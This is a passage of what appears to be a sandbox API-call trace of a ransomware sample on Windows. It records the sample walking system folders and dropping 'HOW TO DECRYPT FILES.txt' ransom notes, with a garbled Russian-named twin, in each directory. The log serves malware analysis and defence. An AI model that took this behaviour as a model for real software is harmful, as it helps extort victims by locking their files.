lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#" [0106.588] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8beec9cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c2f0ef3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c2f0ef3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.656] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.656] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8beec9cb, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c2f0ef3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c2f0ef3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.656] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.656] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.656] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c2f0ef3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c2f0ef3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c2f0ef3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="19ec2acb1a563ecfce8396babd4a3b25", cAlternateFileName="19EC2A~1")) returned 1 [0106.656] lstrcmpA (lpString1=".", lpString2="19ec2acb1a563ecfce8396babd4a3b25") returned -1 [0106.656] lstrcmpA (lpString1="..", lpString2="19ec2acb1a563ecfce8396babd4a3b25") returned -1 [0106.656] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\*.*") returned="*.*" [0106.656] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\", lpString2="19ec2acb1a563ecfce8396babd4a3b25" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25" [0106.657] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c2f0ef3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c2f0ef3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c2f0ef3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.657] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.657] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c2f0ef3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c2f0ef3, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c2f0ef3, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.657] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.657] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.657] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c258972, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c258972, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c258972, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.657] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.657] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0106.657] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0106.658] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.Design.ni.dll") returned -1 [0106.658] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\*.*") returned="*.*" [0106.658] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\" [0106.658] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\") returned="" [0106.658] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\HOW TO DECRYPT FILES.txt" [0106.658] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.dynamicd#\\19ec2acb1a563ecfce8396babd4a3b25\\how to decrypt files.txt")) returned 0xffffffff [0106.658] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.dynamicd#\\19ec2acb1a563ecfce8396babd4a3b25\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.706] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.706] CloseHandle (hObject=0x90) returned 1 [0106.706] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\", lpString2="System.Web.DynamicData.Design.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\System.Web.DynamicData.Design.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\System.Web.DynamicData.Design.ni.dll" [0106.706] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\19ec2acb1a563ecfce8396babd4a3b25\\System.Web.DynamicData.Design.ni.dll", pszSpec="*.ems") returned 0 [0106.707] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c258972, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c258972, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c258972, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.Design.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.707] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.707] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bf12b2c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8bf12b2c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8bf12b2c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a16dd65d2bfab6a019ac8a05337a5c24", cAlternateFileName="A16DD6~1")) returned 1 [0106.707] lstrcmpA (lpString1=".", lpString2="a16dd65d2bfab6a019ac8a05337a5c24") returned -1 [0106.707] lstrcmpA (lpString1="..", lpString2="a16dd65d2bfab6a019ac8a05337a5c24") returned -1 [0106.707] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\*.*") returned="*.*" [0106.707] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\", lpString2="a16dd65d2bfab6a019ac8a05337a5c24" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24" [0106.707] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bf12b2c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8bf12b2c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8bf12b2c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.708] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.708] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bf12b2c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8bf12b2c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8bf12b2c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.708] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.708] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.708] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8be7a5ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8be7a5ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8bea070b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x85a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.708] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.708] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0106.708] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0106.708] lstrcmpiA (lpString1="", lpString2="System.Web.DynamicData.ni.dll") returned -1 [0106.708] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\*.*") returned="*.*" [0106.708] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\" [0106.708] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\") returned="" [0106.708] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\HOW TO DECRYPT FILES.txt" [0106.708] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.dynamicd#\\a16dd65d2bfab6a019ac8a05337a5c24\\how to decrypt files.txt")) returned 0xffffffff [0106.709] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.dynamicd#\\a16dd65d2bfab6a019ac8a05337a5c24\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0106.712] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0106.712] CloseHandle (hObject=0x90) returned 1 [0106.712] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\", lpString2="System.Web.DynamicData.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\System.Web.DynamicData.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\System.Web.DynamicData.ni.dll" [0106.712] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.DynamicD#\\a16dd65d2bfab6a019ac8a05337a5c24\\System.Web.DynamicData.ni.dll", pszSpec="*.ems") returned 0 [0106.712] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8be7a5ab, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8be7a5ab, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8bea070b, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x85a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.DynamicData.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0106.713] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0106.713] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bf12b2c, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8bf12b2c, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8bf12b2c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="a16dd65d2bfab6a019ac8a05337a5c24", cAlternateFileName="A16DD6~1")) returned 0 [0106.713] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0106.713] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8e45fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c8e45fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Web.Entity", cAlternateFileName="SYSTEM~3.ENT")) returned 1 [0106.713] lstrcmpA (lpString1=".", lpString2="System.Web.Entity") returned -1 [0106.713] lstrcmpA (lpString1="..", lpString2="System.Web.Entity") returned -1 [0106.713] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\*.*") returned="*.*" [0106.713] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\", lpString2="System.Web.Entity" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity" [0106.713] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8e45fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c8e45fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0106.714] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.714] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8e45fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c8e45fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.714] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.714] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.714] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8e45fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c8e45fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="9a3ab1594cf5cd52f0794b0a93a14b57", cAlternateFileName="9A3AB1~1")) returned 1 [0106.714] lstrcmpA (lpString1=".", lpString2="9a3ab1594cf5cd52f0794b0a93a14b57") returned -1 [0106.714] lstrcmpA (lpString1="..", lpString2="9a3ab1594cf5cd52f0794b0a93a14b57") returned -1 [0106.714] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\*.*") returned="*.*" [0106.714] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\", lpString2="9a3ab1594cf5cd52f0794b0a93a14b57" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57" [0106.715] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8e45fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c8e45fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0106.765] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0106.765] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8c8e45fe, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8e45fe, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c8e45fe, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0106.765] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0106.765] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0106.765] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c8721dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x8c8721dd, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x8c89833d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x50200, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Web.Entity.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0106.765] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0106.765] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Web.Entity.ni.dll") returned -1 [0106.765] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Web.Entity.ni.dll") returned -1 [0106.765] lstrcmpiA (lpString1="", lpString2="System.Web.Entity.ni.dll") returned -1 [0106.765] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\*.*") returned="*.*" [0106.765] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\" [0106.765] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\") returned="" [0106.765] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\HOW TO DECRYPT FILES.txt" [0106.766] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\how to decrypt files.txt")) returned 0xffffffff [0106.766] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\System.Web.Entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\system.web.entity\\9a3ab1594cf5cd52f0794b0a93a14b57\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 